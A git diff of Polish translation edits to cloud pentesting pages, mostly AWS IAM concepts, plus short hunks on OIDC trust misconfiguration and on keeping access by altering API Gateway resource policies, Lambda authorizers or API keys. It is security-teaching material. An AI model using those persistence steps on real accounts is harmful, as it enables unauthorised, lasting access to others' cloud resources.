+Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**użytkownik główny**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**.
 
 Zauważ, że nowy **użytkownik admina** będzie miał **mniejsze uprawnienia niż użytkownik główny**.
 
@@ -105,9 +109,9 @@ Użytkownicy mogą mieć **włączone MFA do logowania** przez konsolę. Tokeny
 #### CLI
 
 - **ID klucza dostępu**: 20 losowych wielkich liter alfanumerycznych, takich jak AKHDNAPO86BSHKDIRYT
-- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnych kluczy dostępu).
+- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnego klucza dostępu).
 
-Kiedy musisz **zmienić klucz dostępu**, powinieneś postępować zgodnie z tym procesem:\
+Kiedy musisz **zmienić klucz dostępu**, powinieneś postępować według tego procesu:\
 &#xNAN;_&#x43;reate nowy klucz dostępu -> Zastosuj nowy klucz do systemu/aplikacji -> oznacz oryginalny jako nieaktywny -> Testuj i weryfikuj, że nowy klucz dostępu działa -> Usuń stary klucz dostępu_
 
 ### MFA - Uwierzytelnianie wieloskładnikowe
@@ -126,7 +130,7 @@ Zauważ, że **`AssumeRole` poświadczenia nie zawierają tych informacji**.
 ```bash
 aws sts get-session-token --serial-number <arn_device> --token-code <code>
 ```
-As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), istnieje wiele różnych przypadków, w których **MFA nie może być używane**.
+Jak [**stwierdzono tutaj**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), istnieje wiele różnych przypadków, w których **MFA nie może być używane**.
 
 ### [Grupy użytkowników IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
 
@@ -143,7 +147,7 @@ Oto kilka ważnych cech grup użytkowników:
 
 ### [Role IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
 
-Rola IAM jest bardzo **podobna** do **użytkownika**, ponieważ jest to **tożsamość z politykami uprawnień, które określają, co** może i czego nie może robić w AWS. Jednak rola **nie ma żadnych poświadczeń** (hasła ani kluczy dostępu) związanych z nią. Zamiast być unikalnie przypisana do jednej osoby, rola ma być **przyjmowana przez każdego, kto jej potrzebuje (i ma wystarczające uprawnienia)**. Użytkownik **IAM może przyjąć rolę, aby tymczasowo** przyjąć różne uprawnienia do konkretnego zadania. Rola może być **przypisana do** [**użytkownika federacyjnego**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), który loguje się za pomocą zewnętrznego dostawcy tożsamości zamiast IAM.
+Rola IAM jest bardzo **podobna** do **użytkownika**, ponieważ jest to **tożsamość z politykami uprawnień, które określają, co** może i czego nie może robić w AWS. Jednak rola **nie ma żadnych poświadczeń** (hasła ani kluczy dostępu) związanych z nią. Zamiast być unikalnie przypisana do jednej osoby, rola ma być **przyjmowana przez każdego, kto jej potrzebuje (i ma wystarczające uprawnienia)**. **Użytkownik IAM może przyjąć rolę, aby tymczasowo** przyjąć różne uprawnienia do konkretnego zadania. Rola może być **przypisana do** [**użytkownika federacyjnego**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), który loguje się za pomocą zewnętrznego dostawcy tożsamości zamiast IAM.
 
 Rola IAM składa się z **dwóch typów polityk**: **polityki zaufania**, która nie może być pusta, definiującej **kto może przyjąć** rolę, oraz **polityki uprawnień**, która nie może być pusta, definiującej **do czego ma dostęp**.
 
@@ -153,7 +157,7 @@ Usługa AWS Security Token Service (STS) to usługa internetowa, która ułatwia
 
 ### [Tymczasowe poświadczenia w IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
 
-**Tymczasowe poświadczenia są głównie używane z rolami IAM**, ale istnieją również inne zastosowania. Możesz zażądać tymczasowych poświadczeń, które mają bardziej ograniczony zestaw uprawnień niż standardowy użytkownik IAM. To **zapobiega** przypadkowemu **wykonywaniu zadań, które nie są dozwolone** przez bardziej ograniczone poświadczenia. Korzyścią tymczasowych poświadczeń jest to, że wygasają automatycznie po określonym czasie. Masz kontrolę nad czasem, przez jaki poświadczenia są ważne.
+**Tymczasowe poświadczenia są głównie używane z rolami IAM**, ale mają również inne zastosowania. Możesz zażądać tymczasowych poświadczeń, które mają bardziej ograniczony zestaw uprawnień niż standardowy użytkownik IAM. To **zapobiega** przypadkowemu **wykonywaniu zadań, które nie są dozwolone** przez bardziej ograniczone poświadczenia. Korzyścią z tymczasowych poświadczeń jest to, że wygasają automatycznie po określonym czasie. Masz kontrolę nad czasem, przez jaki poświadczenia są ważne.
 
 ### Polityki
 
@@ -165,7 +169,7 @@ Służą do przypisywania uprawnień. Istnieją 2 typy:
 - Polityki zarządzane przez klienta: skonfigurowane przez Ciebie. Możesz tworzyć polityki na podstawie polityk zarządzanych przez AWS (modyfikując jedną z nich i tworząc własną), korzystając z generatora polityk (widok GUI, który pomaga w przyznawaniu i odmawianiu uprawnień) lub pisząc własne.
 
 Zgodnie z **domyślnym dostępem** jest **odmowa**, dostęp zostanie przyznany, jeśli określono wyraźną rolę.\
-Jeśli **istnieje pojedyncza "Odmowa", nadpisze "Zezwolenie"**, z wyjątkiem żądań, które używają poświadczeń bezpieczeństwa głównego konta AWS (które są dozwolone domyślnie).
+Jeśli **istnieje pojedyncza "Deny", to nadpisze "Allow"**, z wyjątkiem żądań, które używają poświadczeń bezpieczeństwa głównego konta AWS (które są dozwolone domyślnie).
 ```javascript
 {
 "Version": "2012-10-17",  //Version of the policy
@@ -188,19 +192,19 @@ Jeśli **istnieje pojedyncza "Odmowa", nadpisze "Zezwolenie"**, z wyjątkiem ż
 ]
 }
 ```
-The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
-The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
+[global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
+[specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
 
 #### Inline Policies
 
-Ten rodzaj polityk jest **bezpośrednio przypisany** do użytkownika, grupy lub roli. Wtedy nie pojawiają się one na liście Polityk, ponieważ nikt inny nie może ich używać.\
-Polityki inline są przydatne, jeśli chcesz **utrzymać ścisłą relację jeden do jednego między polityką a tożsamością**, do której jest stosowana. Na przykład, chcesz mieć pewność, że uprawnienia w polityce nie są przypadkowo przypisane do tożsamości innej niż ta, dla której są przeznaczone. Kiedy używasz polityki inline, uprawnienia w polityce nie mogą być przypadkowo przypisane do niewłaściwej tożsamości. Dodatkowo, gdy używasz konsoli zarządzania AWS do usunięcia tej tożsamości, polityki osadzone w tożsamości są również usuwane. To dlatego, że są częścią głównego podmiotu.
+Ten rodzaj polityk jest **bezpośrednio przypisany** do użytkownika, grupy lub roli. W związku z tym nie pojawiają się one na liście Polityk, ponieważ nikt inny nie może ich używać.\
+Polityki inline są przydatne, jeśli chcesz **utrzymać ścisłą relację jeden do jednego między polityką a tożsamością**, do której są stosowane. Na przykład, chcesz mieć pewność, że uprawnienia w polityce nie są przypadkowo przypisane do tożsamości innej niż ta, dla której są przeznaczone. Kiedy używasz polityki inline, uprawnienia w polityce nie mogą być przypadkowo przypisane do niewłaściwej tożsamości. Dodatkowo, gdy używasz konsoli zarządzania AWS do usunięcia tej tożsamości, polityki osadzone w tożsamości są również usuwane. Dzieje się tak, ponieważ są częścią głównego podmiotu.
 
 #### Resource Bucket Policies
 
 To są **polityki**, które mogą być definiowane w **zasobach**. **Nie wszystkie zasoby AWS je wspierają**.
 
-Jeśli główny podmiot nie ma wyraźnego odmowy dostępu do nich, a polityka zasobów przyznaje im dostęp, to są dozwolone.
+Jeśli główny podmiot nie ma wyraźnego odmowy dostępu do nich, a polityka zasobów przyznaje im dostęp, to są one dozwolone.
 
 ### IAM Boundaries
 
@@ -208,13 +212,13 @@ Granice IAM mogą być używane do **ograniczenia uprawnień, do których użytk
 
 Granica to po prostu polityka przypisana do użytkownika, która **wskazuje maksymalny poziom uprawnień, jakie użytkownik lub rola mogą mieć**. Tak więc, **nawet jeśli użytkownik ma dostęp administratora**, jeśli granica wskazuje, że może tylko czytać kosze S·, to jest to maksymalne, co może zrobić.
 
-**To**, **SCP** i **przestrzeganie zasady najmniejszych uprawnień** to sposoby kontrolowania, aby użytkownicy nie mieli więcej uprawnień niż te, których potrzebują.
+**To**, **SCPs** i **przestrzeganie zasady najmniejszych uprawnień** to sposoby kontrolowania, aby użytkownicy nie mieli więcej uprawnień niż te, których potrzebują.
 
 ### Session Policies
 
 Polityka sesji to **polityka ustawiana, gdy rola jest przyjmowana** w jakiś sposób. Będzie to jak **granica IAM dla tej sesji**: Oznacza to, że polityka sesji nie przyznaje uprawnień, ale **ogranicza je do tych wskazanych w polityce** (maksymalne uprawnienia to te, które ma rola).
 
-To jest przydatne dla **środków bezpieczeństwa**: Kiedy administrator ma przyjąć bardzo uprzywilejowaną rolę, może ograniczyć uprawnienia tylko do tych wskazanych w polityce sesji, na wypadek gdyby sesja została skompromitowana.
+To jest przydatne dla **środków bezpieczeństwa**: Gdy administrator ma przyjąć bardzo uprzywilejowaną rolę, może ograniczyć uprawnienia tylko do tych wskazanych w polityce sesji, w przypadku gdy sesja zostanie skompromitowana.
 ```bash
 aws sts assume-role \
 --role-arn <value> \
@@ -222,94 +226,94 @@ aws sts assume-role \
 [--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
 [--policy <file://policy.json>]
 ```
-Note that by default **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych przyczyn. Na przykład, w [nieautoryzowanych rolach przyjętych przez cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z zaawansowanej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Zauważ, że domyślnie **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych przyczyn. Na przykład, w [nieautoryzowanych rolach przyjętych przez Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z ulepszonej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
 
-Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **istnieje polityka sesji, która to uniemożliwia**.
+Dlatego, jeśli w pewnym momencie napotkasz błąd "... ponieważ żadna polityka sesji nie zezwala na ...", a rola ma dostęp do wykonania akcji, to dlatego, że **istnieje polityka sesji, która to uniemożliwia**.
 
-### Identity Federation
+### Federacja Tożsamości
 
-Identity federation **pozwala użytkownikom z dostawców tożsamości, które są zewnętrzne** dla AWS na bezpieczny dostęp do zasobów AWS bez konieczności podawania poświadczeń użytkownika AWS z ważnego konta IAM.\
+Federacja tożsamości **pozwala użytkownikom z dostawców tożsamości, którzy są zewnętrzni** dla AWS, na bezpieczny dostęp do zasobów AWS bez konieczności podawania poświadczeń użytkownika AWS z ważnego konta IAM.\
 Przykładem dostawcy tożsamości może być twoje własne korporacyjne **Microsoft Active Directory** (poprzez **SAML**) lub usługi **OpenID** (jak **Google**). Dostęp federacyjny pozwoli użytkownikom w nim na dostęp do AWS.
 
-To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
+Aby skonfigurować to zaufanie, generowany jest **dostawca tożsamości IAM (SAML lub OAuth)**, który **ufa** **innej platformie**. Następnie przynajmniej jedna **rola IAM jest przypisana (ufająca) do dostawcy tożsamości**. Jeśli użytkownik z zaufanej platformy uzyskuje dostęp do AWS, uzyskuje dostęp jako wspomniana rola.
 
-However, you will usually want to give a **inną rolę w zależności od grupy użytkownika** na zewnętrznej platformie. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
+Jednak zazwyczaj będziesz chciał nadać **inną rolę w zależności od grupy użytkownika** na zewnętrznej platformie. Wtedy kilka **ról IAM może ufać** zewnętrznemu dostawcy tożsamości, a zewnętrzna platforma będzie tą, która pozwoli użytkownikom na przyjęcie jednej roli lub innej.
 
 <figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
 
-### IAM Identity Center
+### Centrum Tożsamości IAM
 
-AWS IAM Identity Center (następca AWS Single Sign-On) rozszerza możliwości AWS Identity and Access Management (IAM), aby zapewnić **centralne miejsce**, które łączy **administrację użytkownikami i ich dostępem do kont AWS** oraz aplikacji w chmurze.
+AWS IAM Identity Center (następca AWS Single Sign-On) rozszerza możliwości AWS Identity and Access Management (IAM), aby zapewnić **centralne miejsce**, które łączy **administrację użytkowników i ich dostęp do kont AWS** oraz aplikacji w chmurze.
 
-The login domain is going to be something like `<user_input>.awsapps.com`.
+Domena logowania będzie wyglądać mniej więcej jak `<user_input>.awsapps.com`.
 
-To login users, there are 3 identity sources that can be used:
+Aby zalogować użytkowników, można użyć 3 źródeł tożsamości:
 
-- Identity Center Directory: Regular AWS users
-- Active Directory: Supports different connectors
-- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
+- Directory Centrum Tożsamości: Zwykli użytkownicy AWS
+- Active Directory: Obsługuje różne konektory
+- Zewnętrzny dostawca tożsamości: Wszyscy użytkownicy i grupy pochodzą od zewnętrznego dostawcy tożsamości (IdP)
 
 <figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
 
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **dowolnych kont** organizacji.
+W najprostszym przypadku katalogu Centrum Tożsamości, **Centrum Tożsamości będzie miało listę użytkowników i grup** i będzie mogło **przypisywać polityki** do nich do **dowolnych kont** organizacji.
 
-In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
+Aby nadać dostęp użytkownikowi/grupie Centrum Tożsamości do konta, **zostanie utworzony zaufany dostawca tożsamości SAML**, a **rola zaufana dostawcy tożsamości z wskazanymi politykami zostanie utworzona** w docelowym koncie.
 
 #### AwsSSOInlinePolicy
 
-It's possible to **dać uprawnienia za pomocą polityk inline do ról utworzonych za pomocą IAM Identity Center**. Rola utworzona w kontach, którym nadano **polityki inline w AWS Identity Center**, będzie miała te uprawnienia w polityce inline nazwanej **`AwsSSOInlinePolicy`**.
+Możliwe jest **nadawanie uprawnień za pomocą polityk inline do ról utworzonych za pomocą IAM Identity Center**. Role utworzone w kontach, którym nadawane są **polityki inline w AWS Identity Center**, będą miały te uprawnienia w polityce inline o nazwie **`AwsSSOInlinePolicy`**.
 
-Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **nie oznacza, że ma te same uprawnienia**.
+Dlatego, nawet jeśli zobaczysz 2 role z polityką inline o nazwie **`AwsSSOInlinePolicy`**, to **nie oznacza, że mają te same uprawnienia**.
 
-### Cross Account Trusts and Roles
+### Zaufania i Role Między Kontami
 
-**Użytkownik** (ufający) może utworzyć rolę Cross Account z pewnymi politykami, a następnie **zezwolić innemu użytkownikowi** (ufanemu) na **dostęp do swojego konta**, ale tylko **mając dostęp wskazany w nowych politykach roli**. Aby to utworzyć, wystarczy utworzyć nową rolę i wybrać Cross Account Role. Role dla dostępu między kontami oferują dwie opcje. Zapewnienie dostępu między kontami AWS, które posiadasz, oraz zapewnienie dostępu między kontem, które posiadasz, a zewnętrznym kontem AWS.\
-Zaleca się **określenie użytkownika, który jest ufany, a nie podawanie czegoś ogólnego**, ponieważ w przeciwnym razie inni uwierzytelnieni użytkownicy, tacy jak użytkownicy federacyjni, będą mogli również nadużywać tego zaufania.
+**Użytkownik** (ufający) może utworzyć rolę międzykontową z pewnymi politykami, a następnie **zezwolić innemu użytkownikowi** (zaufanemu) na **dostęp do swojego konta**, ale tylko **mając dostęp wskazany w nowych politykach roli**. Aby to utworzyć, wystarczy utworzyć nową rolę i wybrać rolę międzykontową. Role do dostępu międzykontowego oferują dwie opcje. Zapewnienie dostępu między kontami AWS, które posiadasz, oraz zapewnienie dostępu między kontem, które posiadasz, a zewnętrznym kontem AWS.\
+Zaleca się **określenie użytkownika, który jest zaufany, a nie podawanie czegoś ogólnego**, ponieważ w przeciwnym razie inni uwierzytelnieni użytkownicy, tacy jak użytkownicy federacyjni, będą mogli również nadużywać tego zaufania.
 
 ### AWS Simple AD
 
-Not supported:
+Nieobsługiwane:
 
-- Trust Relations
-- AD Admin Center
-- Full PS API support
-- AD Recycle Bin
-- Group Managed Service Accounts
-- Schema Extensions
-- No Direct access to OS or Instances
+- Relacje zaufania
+- Centrum administracyjne AD
+- Pełne wsparcie PS API
+- Kosz na śmieci AD
+- Zarządzane konta usług grupowych
+- Rozszerzenia schematu
+- Brak bezpośredniego dostępu do OS lub instancji
 
-#### Web Federation or OpenID Authentication
+#### Federacja Webowa lub Uwierzytelnianie OpenID
 
-The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
+Aplikacja używa AssumeRoleWithWebIdentity do tworzenia tymczasowych poświadczeń. Jednak nie daje to dostępu do konsoli AWS, tylko dostęp do zasobów w AWS.
 
-### Other IAM options
+### Inne opcje IAM
 
-- You can **ustawić politykę hasła**, opcje takie jak minimalna długość i wymagania dotyczące hasła.
-- You can **pobierać "Raport poświadczeń"** z informacjami o bieżących poświadczeniach (takich jak czas utworzenia użytkownika, czy hasło jest włączone...). Możesz generować raport poświadczeń tak często, jak raz co **cztery godziny**.
+- Możesz **ustawić politykę haseł**, opcje takie jak minimalna długość i wymagania dotyczące haseł.
+- Możesz **pobrać "Raport poświadczeń"** z informacjami o bieżących poświadczeniach (takimi jak czas utworzenia użytkownika, czy hasło jest włączone...). Możesz generować raport poświadczeń tak często, jak co **cztery godziny**.
 
-AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **kto może uzyskać dostęp do jakich usług i zasobów**, i na jakich warunkach. With IAM policies, you manage permissions to your workforce and systems to **zapewnić uprawnienia minimalne**.
+AWS Identity and Access Management (IAM) zapewnia **szczegółową kontrolę dostępu** w całym AWS. Dzięki IAM możesz określić **kto może uzyskać dostęp do jakich usług i zasobów**, oraz na jakich warunkach. Dzięki politykom IAM zarządzasz uprawnieniami dla swojej siły roboczej i systemów, aby **zapewnić minimalne uprawnienia**.
 
-### IAM ID Prefixes
+### Prefiksy ID IAM
 
-In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **prefiksy ID IAM** kluczy w zależności od ich natury:
+Na [**tej stronie**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) możesz znaleźć **prefiksy ID IAM** kluczy w zależności od ich natury:
 
 | ABIA | [Token nosiciela usługi AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html)                                                                                                          |
 | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Poświadczenie specyficzne dla kontekstu                                                                                                                                                                                          |
-| AGPA | Grupa użytkowników                                                                                                                                                                                                           |
-| AIDA | Użytkownik IAM                                                                                                                                                                                                             |
+| ACCA | Poświadczenie specyficzne dla kontekstu                                                                                                                                                                              |
+| AGPA | Grupa użytkowników                                                                                                                                                                                                  |
+| AIDA | Użytkownik IAM                                                                                                                                                                                                       |
 | AIPA | Profil instancji Amazon EC2                                                                                                                                                                                          |
-| AKIA | Klucz dostępu                                                                                                                                                                                                           |
-| ANPA | Polityka zarządzana                                                                                                                                                                                                       |
-| ANVA | Wersja w polityce zarządzanej                                                                                                                                                                                          |
-| APKA | Klucz publiczny                                                                                                                                                                                                           |
+| AKIA | Klucz dostępu                                                                                                                                                                                                         |
+| ANPA | Polityka zarządzana                                                                                                                                                                                                  |
+| ANVA | Wersja w polityce zarządzanej                                                                                                                                                                                       |
+| APKA | Klucz publiczny                                                                                                                                                                                                       |
 | AROA | Rola                                                                                                                                                                                                                 |
 | ASCA | Certyfikat                                                                                                                                                                                                          |
 | ASIA | [Tymczasowe identyfikatory kluczy dostępu (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) używają tego prefiksu, ale są unikalne tylko w połączeniu z tajnym kluczem dostępu i tokenem sesji. |
 
-### Recommended permissions to audit accounts
+### Zalecane uprawnienia do audytu kont
 
-The following privileges grant various read access of metadata:
+Następujące uprawnienia przyznają różny dostęp do odczytu metadanych:
 
 - `arn:aws:iam::aws:policy/SecurityAudit`
 - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -320,13 +324,13 @@ The following privileges grant various read access of metadata:
 - `directconnect:DescribeConnections`
 - `dynamodb:ListTables`
 
-## Misc
+## Różne
 
-### CLI Authentication
+### Uwierzytelnianie CLI
 
-In order for a regular user authenticate to AWS via CLI you need to have **lokalne poświadczenia**. By default you can configure them **ręcznie** w `~/.aws/credentials` or by **uruchamiając** `aws configure`.\
-In that file you can have more than one profile, if **żaden profil** nie jest określony przy użyciu **aws cli**, użyty zostanie ten nazwany **`[default]`** w tym pliku.\
-Example of credentials file with more than 1 profile:
+Aby zwykły użytkownik mógł uwierzytelnić się w AWS za pomocą CLI, musisz mieć **lokalne poświadczenia**. Domyślnie możesz je skonfigurować **ręcznie** w `~/.aws/credentials` lub **uruchamiając** `aws configure`.\
+W tym pliku możesz mieć więcej niż jeden profil, jeśli **żaden profil** nie jest określony przy użyciu **aws cli**, używany będzie ten o nazwie **`[default]`** w tym pliku.\
+Przykład pliku poświadczeń z więcej niż 1 profilem:
 ```
 [default]
 aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -349,13 +353,13 @@ role_session_name = <session_name>
 source_profile = <profile_with_assume_role>
 sts_regional_endpoints = regional
 ```
-Z tym plikiem konfiguracyjnym możesz następnie używać aws cli w ten sposób:
+Z tym plikiem konfiguracyjnym możesz następnie używać aws cli, jak:
 ```
 aws --profile acc2 ...
 ```
 Jeśli szukasz czegoś **podobnego** do tego, ale dla **przeglądarki**, możesz sprawdzić **rozszerzenie** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
 
-## References
+## Odniesienia
 
 - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
 - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 8c71f9102..9218930cd 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -10,7 +10,7 @@ Aby uzyskać informacje o SAML, sprawdź:
 https://book.hacktricks.xyz/pentesting-web/saml-attacks
 {{#endref}}
 
-Aby skonfigurować **Federację Tożsamości przez SAML**, wystarczy podać **nazwę** i **metadane XML** zawierające całą konfigurację SAML (**punkty końcowe**, **certyfikat** z kluczem publicznym)
+Aby skonfigurować **Federację Tożsamości przez SAML**, wystarczy podać **nazwę** oraz **metadane XML** zawierające całą konfigurację SAML (**punkty końcowe**, **certyfikat** z kluczem publicznym)
 
 ## OIDC - Nadużycie Github Actions
 
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
 # Create an Identity Provider for an EKS cluster
 eksctl utils associate-iam-oidc-provider --cluster Testing --approve
 ```
-Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu ustawiając **OIDC URL** klastra jako **nowego dostawcę tożsamości Open ID**. To jest powszechna domyślna polityka:
+Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu przez ustawienie **OIDC URL** klastra jako **nowego dostawcy tożsamości Open ID**. To jest powszechna domyślna polityka:
 ```json
 {
 "Version": "2012-10-17",
@@ -108,13 +108,13 @@ Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu ustawi
 ]
 }
 ```
-Ta polityka poprawnie wskazuje, że **tylko** **klaster EKS** o **id** `20C159CDF6F2349B68846BEC03BE031B` może przyjąć rolę. Jednak nie wskazuje, który konto usługi może ją przyjąć, co oznacza, że **WSZYSTKIE konta usługi z tokenem tożsamości webowej** będą **mogły przyjąć** rolę.
+Ta polityka poprawnie wskazuje, że **tylko** **klaster EKS** o **id** `20C159CDF6F2349B68846BEC03BE031B` może przyjąć rolę. Jednak nie wskazuje, który konto usługi może ją przyjąć, co oznacza, że **KAŻDE konto usługi z tokenem tożsamości webowej** będzie **mogło przyjąć** rolę.
 
 Aby określić, **które konto usługi powinno mieć możliwość przyjęcia roli,** należy określić **warunek**, w którym **nazwa konta usługi jest określona**, na przykład:
 ```bash
 "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
 ```
-## References
+## Odniesienia
 
 - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
 
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 5f8e6ddf4..e7e7969fc 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -1,4 +1,4 @@
-# AWS - Uprawnienia do Pentestu
+# AWS - Uprawnienia do Pentestów
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -10,8 +10,8 @@ To są uprawnienia, które potrzebujesz na każdym koncie AWS, które chcesz aud
 - **access-analyzer:Get\***
 - **iam:CreateServiceLinkedRole**
 - **access-analyzer:CreateAnalyzer**
-- Opcjonalne, jeśli klient generuje analizy dla Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
+- Opcjonalne, jeśli klient generuje analizatory za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
 - **access-analyzer:DeleteAnalyzer**
-- Opcjonalne, jeśli klient usuwa analizy za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
+- Opcjonalne, jeśli klient usuwa analizatory za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 7ed50bac0..91e65644c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -12,11 +12,11 @@ Aby uzyskać więcej informacji, przejdź do:
 
 ### Polityka zasobów
 
-Zmień politykę zasobów bramy API, aby przyznać sobie dostęp do nich.
+Zmień politykę zasobów API gateway(a), aby przyznać sobie dostęp do nich.
 
 ### Modyfikacja autoryzatorów Lambda
 
-Zmień kod autoryzatorów Lambda, aby przyznać sobie dostęp do wszystkich punktów końcowych.\
+Zmień kod autoryzatorów lambda, aby przyznać sobie dostęp do wszystkich punktów końcowych.\
 Lub po prostu usuń użycie autoryzatora.
 
 ### Uprawnienia IAM
@@ -26,7 +26,7 @@ Lub po prostu usuń użycie autoryzatora.
 
 ### Klucze API
 
-Jeśli używane są klucze API, możesz je ujawnić, aby utrzymać ciągłość lub nawet stworzyć nowe.\
+Jeśli używane są klucze API, możesz je ujawnić, aby utrzymać dostęp lub nawet stworzyć nowe.\
 Lub po prostu usuń użycie kluczy API.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index 757266601..83ce6b8dd 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -4,7 +4,7 @@
 
 ## Cognito
 
-Aby uzyskać więcej informacji, uzyskaj dostęp do:
+Aby uzyskać więcej informacji, przejdź do:
 
 {{#ref}}
 ../aws-services/aws-cognito-enum/
